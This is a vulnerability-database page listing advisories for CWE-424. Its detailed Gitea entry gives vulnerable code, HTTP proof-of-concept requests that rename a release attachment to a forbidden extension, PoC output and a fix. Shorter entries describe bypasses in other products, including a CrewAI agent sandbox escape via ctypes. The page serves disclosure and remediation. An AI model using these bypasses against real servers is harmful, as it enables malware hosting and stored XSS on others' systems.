GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-424

Allowed-with-Review

Improper Protection of Alternate Path

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

71 vulnerabilities reference this CWE, most recent first.

GHSA-25GQ-J9JX-43PG

Vulnerability from github – Published: 2026-07-21 20:18 – Updated: 2026-07-21 20:18
VLAI
Summary
Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
Details

Summary

The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.

A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.

Details

Vulnerable code

routers/web/repo/release.go:597 EditReleasePost:

const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
    for k, v := range ctx.Req.Form {
        if strings.HasPrefix(k, editPrefix) {
            editAttachments[k[len(editPrefix):]] = v[0]
        }
    }
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
    rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
    ctx.ServerError("UpdateRelease", err)
    return
}

services/release/release.go:321 -- the unvalidated write:

for uuid, newName := range editAttachments {
    if !deletedUUIDs.Contains(uuid) {
        if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
            UUID: uuid,
            Name: newName,
        }, "name"); err != nil {
            return err
        }
    }
}

No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.

Comparison: the parent fix on the API path

routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):

if err := attachment_service.UpdateAttachment(ctx,
        setting.Repository.Release.AllowedTypes, attach); err != nil {
    if upload.IsErrFileTypeForbidden(err) {
        ctx.Error(http.StatusUnprocessableEntity, "", err)
        return
    }
    ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
    return
}

Delegates to:

// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
    if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
        return err
    }
    return repo_model.UpdateAttachment(ctx, attach)
}

The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.

Proof of Concept

Tested live against: * Gitea v1.26.1 community edition, Linux amd64, SQLite, Go 1.26.2 * app.ini includes [repository.release] ALLOWED_TYPES = .zip,.tar.gz * Two users: admin (superuser, created via gitea admin user create --admin), bob (regular, repo owner of bob/test-repo)

Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.

Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.

PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json

{"name":"evil.exe"}

Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).

Step 3: The attack. The web release edit form does NOT enforce the allowlist.

POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded

tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe

Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.

Step 4: Verify.

GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1

Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.

A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:

GITEA-R007_release_edit_extension_bypass.py

[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'

[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.

Impact

Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):

  • Pre-condition: operator has set Repository.Release.AllowedTypes to a non-empty allowlist (a reasonable hardening posture when restricting release uploads).
  • Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
  • Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
  • Practical impact:
  • Distribute malware files (e.g., .exe, .dmg, .msi, .apk) masquerading as a tagged release attachment
  • If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
  • Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event

Suggested remediation

Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:

import (
    "code.gitea.io/gitea/modules/setting"
    "code.gitea.io/gitea/services/context/upload"
)

// inside UpdateRelease, replace the editAttachments loop:
for uuid, newName := range editAttachments {
    if deletedUUIDs.Contains(uuid) {
        continue
    }
    if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {
        return err
    }
    if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
        UUID: uuid,
        Name: newName,
    }, "name"); err != nil {
        return err
    }
}

The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.

Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.

Workaround for operators (no Gitea change required)

Until a patched release lands, operators can mitigate by either:

  1. Removing the Repository.Release.AllowedTypes allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move.
  2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious attachment-edit-* form fields on POST to /<owner>/<repo>/releases/edit/* -- viable but operationally fragile.
  3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.

A vendor patch is the right answer; the workarounds above are stopgaps.

Credit

Jose Rivas (bl4cksku111.com)

References

  • Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)
  • Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit 7adc4717ec)
  • CWE-424: https://cwe.mitre.org/data/definitions/424.html
  • CWE-434: https://cwe.mitre.org/data/definitions/434.html
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:18:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated.\n\nA user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.\n\n## Details\n\n### Vulnerable code\n\n`routers/web/repo/release.go:597` `EditReleasePost`:\n\n```go\nconst editPrefix = \"attachment-edit-\"\neditAttachments := make(map[string]string)\nif setting.Attachment.Enabled {\n    for k, v := range ctx.Req.Form {\n        if strings.HasPrefix(k, editPrefix) {\n            editAttachments[k[len(editPrefix):]] = v[0]\n        }\n    }\n}\n...\nif err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,\n    rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {\n    ctx.ServerError(\"UpdateRelease\", err)\n    return\n}\n```\n\n`services/release/release.go:321` -- the unvalidated write:\n\n```go\nfor uuid, newName := range editAttachments {\n    if !deletedUUIDs.Contains(uuid) {\n        if err = repo_model.UpdateAttachmentByUUID(ctx, \u0026repo_model.Attachment{\n            UUID: uuid,\n            Name: newName,\n        }, \"name\"); err != nil {\n            return err\n        }\n    }\n}\n```\n\nNo `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write.\n\n### Comparison: the parent fix on the API path\n\n`routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151):\n\n```go\nif err := attachment_service.UpdateAttachment(ctx,\n        setting.Repository.Release.AllowedTypes, attach); err != nil {\n    if upload.IsErrFileTypeForbidden(err) {\n        ctx.Error(http.StatusUnprocessableEntity, \"\", err)\n        return\n    }\n    ctx.Error(http.StatusInternalServerError, \"UpdateAttachment\", attach)\n    return\n}\n```\n\nDelegates to:\n\n```go\n// services/attachment/attachment.go:96\nfunc UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {\n    if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {\n        return err\n    }\n    return repo_model.UpdateAttachment(ctx, attach)\n}\n```\n\nThe API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely.\n\n## Proof of Concept\n\nTested live against:\n* Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2\n* `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz`\n* Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`)\n\n**Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API.\n\n**Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.\n\n```http\nPATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1\nAuthorization: token \u003cbob_token\u003e\nContent-Type: application/json\n\n{\"name\":\"evil.exe\"}\n```\n\nResponse: `HTTP 422` -- \"This file cannot be uploaded or modified due to a forbidden file extension or type.\" (parent CVE-2025-68939 fix in action).\n\n**Step 3**: The attack. The web release edit form does NOT enforce the allowlist.\n\n```http\nPOST /bob/test-repo/releases/edit/v0.1 HTTP/1.1\nCookie: i_like_gitea=\u003csession\u003e; lang=en-US\nContent-Type: application/x-www-form-urlencoded\n\ntag_name=v0.1\n\u0026tag_target=main\n\u0026title=rename+payload\n\u0026content=\n\u0026attachment-edit-\u003cexisting_attachment_uuid\u003e=evil.exe\n```\n\nResponse: `HTTP 303 -\u003e /bob/test-repo/releases`. The form is accepted with no validation error.\n\n**Step 4**: Verify.\n\n```http\nGET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1\n```\n\nResponse includes `\"name\": \"evil.exe\"`. The download link `/attachments/\u003cuuid\u003e` now serves the file under the forbidden extension.\n\nA self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run:\n\n[GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py)\n\n```\n[+] Logged in as bob\n[+] Pre-attack attachment name: \u0027innocent2.zip\u0027\n[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)\n[+] POST release edit: HTTP 303 -\u003e /bob/test-repo/releases\n[+] Post-attack attachment name: \u0027pwn.exe\u0027\n\n[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.\n```\n\n## Impact\n\nSame impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):\n\n* Pre-condition: operator has set `Repository.Release.AllowedTypes` to a non-empty allowlist (a reasonable hardening posture when restricting release uploads).\n* Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.\n* Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.\n* Practical impact:\n  * Distribute malware files (e.g., `.exe`, `.dmg`, `.msi`, `.apk`) masquerading as a tagged release attachment\n  * If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin\n  * Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event\n\n## Suggested remediation\n\nMirror the parent CVE-2025-68939 fix into the web release edit path. In `services/release/release.go UpdateRelease`, verify each new name against the configured allowlist before persisting:\n\n```go\nimport (\n    \"code.gitea.io/gitea/modules/setting\"\n    \"code.gitea.io/gitea/services/context/upload\"\n)\n\n// inside UpdateRelease, replace the editAttachments loop:\nfor uuid, newName := range editAttachments {\n    if deletedUUIDs.Contains(uuid) {\n        continue\n    }\n    if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {\n        return err\n    }\n    if err = repo_model.UpdateAttachmentByUUID(ctx, \u0026repo_model.Attachment{\n        UUID: uuid,\n        Name: newName,\n    }, \"name\"); err != nil {\n        return err\n    }\n}\n```\n\nThe web handler `EditReleasePost` should map `IsErrFileTypeForbidden` to a 422 response (or equivalent flash error and form re-render) to match the API behavior.\n\nAlternative: refactor `attachment_service.UpdateAttachment` to accept a UUID (or expose a `UpdateAttachmentByUUID` variant in the service layer) and have the release service call that instead of the raw model function.\n\n## Workaround for operators (no Gitea change required)\n\nUntil a patched release lands, operators can mitigate by either:\n\n1. Removing the `Repository.Release.AllowedTypes` allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move.\n2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious `attachment-edit-*` form fields on POST to `/\u003cowner\u003e/\u003crepo\u003e/releases/edit/*` -- viable but operationally fragile.\n3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.\n\nA vendor patch is the right answer; the workarounds above are stopgaps.\n\n## Credit\n\nJose Rivas (bl4cksku111.com)\n\n## References\n\n* Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)\n* Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit `7adc4717ec`)\n* CWE-424: https://cwe.mitre.org/data/definitions/424.html\n* CWE-434: https://cwe.mitre.org/data/definitions/434.html",
  "id": "GHSA-25gq-j9jx-43pg",
  "modified": "2026-07-21T20:18:44Z",
  "published": "2026-07-21T20:18:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-25gq-j9jx-43pg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)"
}

GHSA-263Q-5CV3-XQ9G

Vulnerability from github – Published: 2025-12-26 03:30 – Updated: 2025-12-26 19:12
VLAI
Summary
Gitea allows attackers to add attachments with forbidden file extensions
Details

Gitea before 1.23.0 allows attackers to add attachments with forbidden file extensions by editing an attachment name via an attachment API.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.23.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-26T19:12:02Z",
    "nvd_published_at": "2025-12-26T03:15:50Z",
    "severity": "HIGH"
  },
  "details": "Gitea before 1.23.0 allows attackers to add attachments with forbidden file extensions by editing an attachment name via an attachment API.",
  "id": "GHSA-263q-5cv3-xq9g",
  "modified": "2025-12-26T19:12:02Z",
  "published": "2025-12-26T03:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/32151"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.23.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea allows attackers to add attachments with forbidden file extensions"
}

GHSA-2CPP-J2FC-QHP7

Vulnerability from github – Published: 2026-03-17 20:33 – Updated: 2026-06-08 23:15
VLAI
Summary
AWS API MCP File Access Restriction Bypass
Details

Description

The AWS API MCP Server is an open source Model Context Protocol (MCP) server that enables AI assistants to interact with AWS services and resources through AWS CLI commands. It provides programmatic access to manage your AWS infrastructure while maintaining proper security controls.

This server acts as a bridge between AI assistants and AWS services, allowing you to create, update, and manage AWS resources across all available services. The server includes a configurable file access feature that controls how AWS CLI commands interact with the local file system. By default, file operations are restricted to a designated working directory (workdir), but this can be configured to allow unrestricted file system access (unrestricted) or to block all local file path arguments entirely (no-access).

Description: Improper Protection of Alternate Path exists in the no-access and workdir feature of the AWS API MCP Server versions >= 0.2.14 and < 1.3.9 on all platforms may allow the bypass of intended file access restriction and expose arbitrary local file contents in the MCP client application context.

To remediate this issue, users should upgrade to version 1.3.9.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "awslabs.aws-api-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.14"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "awslabs-aws-api-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.14"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T20:33:15Z",
    "nvd_published_at": "2026-03-16T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Description\n\nThe AWS API MCP Server is an open source Model Context Protocol (MCP) server that enables AI assistants to interact with AWS services and resources through AWS CLI commands. It provides programmatic access to manage your AWS infrastructure while maintaining proper security controls.\n\nThis server acts as a bridge between AI assistants and AWS services, allowing you to create, update, and manage AWS resources across all available services. The server includes a configurable file access feature that controls how AWS CLI commands interact with the local file system. By default, file operations are restricted to a designated working directory (workdir), but this can be configured to allow unrestricted file system access (unrestricted) or to block all local file path arguments entirely (no-access).\n\n**Description:** Improper Protection of Alternate Path exists in the no-access and workdir feature of the AWS API MCP Server versions \u003e= 0.2.14 and \u003c 1.3.9 on all platforms may allow the bypass of intended file access restriction and expose arbitrary local file contents in the MCP client application context.\n\nTo remediate this issue, users should upgrade to version 1.3.9.",
  "id": "GHSA-2cpp-j2fc-qhp7",
  "modified": "2026-06-08T23:15:15Z",
  "published": "2026-03-17T20:33:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/awslabs/mcp/security/advisories/GHSA-2cpp-j2fc-qhp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4270"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/2026-007-AWS"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/awslabs/mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/awslabs-aws-api-mcp-server/PYSEC-2026-162.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/awslabs.aws-api-mcp-server/1.3.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AWS API MCP File Access Restriction Bypass"
}

GHSA-2Q68-3CP7-72V9

Vulnerability from github – Published: 2026-09-13 21:31 – Updated: 2026-09-13 21:31
VLAI
Details

CrewAI before fb2323b offers a Python blocklist approach that operates at the wrong level of abstraction, a different vulnerability than CVE-2026-2275. Import-time blocking of module names does not address the availability of Python's complete object graph. For example, calling ctypes.CDLL(None) loads the C library without relying in any import statements. In other words, a within-process sandbox cannot merely account for the import system and instead must account for the complete runtime of the Python interpreter.

Severity
8.1 (High)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-37008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-13T21:17:01Z",
    "severity": "HIGH"
  },
  "details": "CrewAI before fb2323b offers a Python blocklist approach that operates at the wrong level of abstraction, a different vulnerability than CVE-2026-2275. Import-time blocking of module names does not address the availability of Python\u0027s complete object graph. For example, calling ctypes.CDLL(None) loads the C library without relying in any import statements. In other words, a within-process sandbox cannot merely account for the import system and instead must account for the complete runtime of the Python interpreter.",
  "id": "GHSA-2q68-3cp7-72v9",
  "modified": "2026-09-13T21:31:42Z",
  "published": "2026-09-13T21:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crewAIInc/crewAI/commit/fb2323b3deb3ec62b3965526857e77a2264e4cd0"
    },
    {
      "type": "WEB",
      "url": "https://docs.python.org/3/library/ctypes.html"
    },
    {
      "type": "WEB",
      "url": "https://yerangamage.com/cves/detail/?slug=crewai-sandbox-escape"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HGV-99J2-FHVJ

Vulnerability from github – Published: 2025-06-03 00:31 – Updated: 2025-06-03 00:31
VLAI
Details

Arris VIP1113 devices through 2025-05-30 with KreaTV SDK allow booting an arbitrary image via a crafted /usr/bin/gunzip file.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-03T00:15:20Z",
    "severity": "MODERATE"
  },
  "details": "Arris VIP1113 devices through 2025-05-30 with KreaTV SDK allow booting an arbitrary image via a crafted /usr/bin/gunzip file.",
  "id": "GHSA-3hgv-99j2-fhvj",
  "modified": "2025-06-03T00:31:02Z",
  "published": "2025-06-03T00:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49163"
    },
    {
      "type": "WEB",
      "url": "https://full-disclosure.eu/reports/2025/FDEU-CVE-2025-1c00-arris-bootloader-shell-injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FPH-66X7-MXRV

Vulnerability from github – Published: 2024-05-22 09:31 – Updated: 2024-05-22 09:31
VLAI
Details

The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) plugin for WordPress is vulnerable to Form Submission Admin Email Bypass in all versions up to, and including, 5.6.3. This is due to the plugin not properly checking for all variations of an administrators emails. This makes it possible for unauthenticated attackers to bypass the restriction using a +value when submitting the contact form.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-3927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-22T07:15:13Z",
    "severity": "MODERATE"
  },
  "details": "The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid \u0026 Carousel, Remote Arrows) plugin for WordPress is vulnerable to Form Submission Admin Email Bypass  in all versions up to, and including, 5.6.3. This is due to the plugin not properly checking for all variations of an administrators emails. This makes it possible for unauthenticated attackers to bypass the restriction using a +value when submitting the contact form.",
  "id": "GHSA-4fph-66x7-mxrv",
  "modified": "2024-05-22T09:31:46Z",
  "published": "2024-05-22T09:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3927"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/trunk/modules/contact-form/module.php#L102"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3089154"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3a703fc4-6c61-442e-a637-515e9f501575?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4R7R-XFQ3-2R3V

Vulnerability from github – Published: 2025-04-26 21:31 – Updated: 2025-04-26 21:31
VLAI
Details

CodiMD through 2.2.0 has a CSP-based protection mechanism against XSS through uploaded JavaScript content, but it can be bypassed by uploading a .html file that references an uploaded .js file.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-26T21:15:15Z",
    "severity": "MODERATE"
  },
  "details": "CodiMD through 2.2.0 has a CSP-based protection mechanism against XSS through uploaded JavaScript content, but it can be bypassed by uploading a .html file that references an uploaded .js file.",
  "id": "GHSA-4r7r-xfq3-2r3v",
  "modified": "2025-04-26T21:31:26Z",
  "published": "2025-04-26T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46654"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hackmdio/codimd/issues/1910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zast-ai/vulnerability-reports/blob/main/formidable/file_upload/report.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-58PJ-RCXG-3VHG

Vulnerability from github – Published: 2025-05-27 06:30 – Updated: 2025-05-27 18:30
VLAI
Details

Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the "var_dump"("test") syntax, attackers can bypass security checks and execute arbitrary PHP code.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-48828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
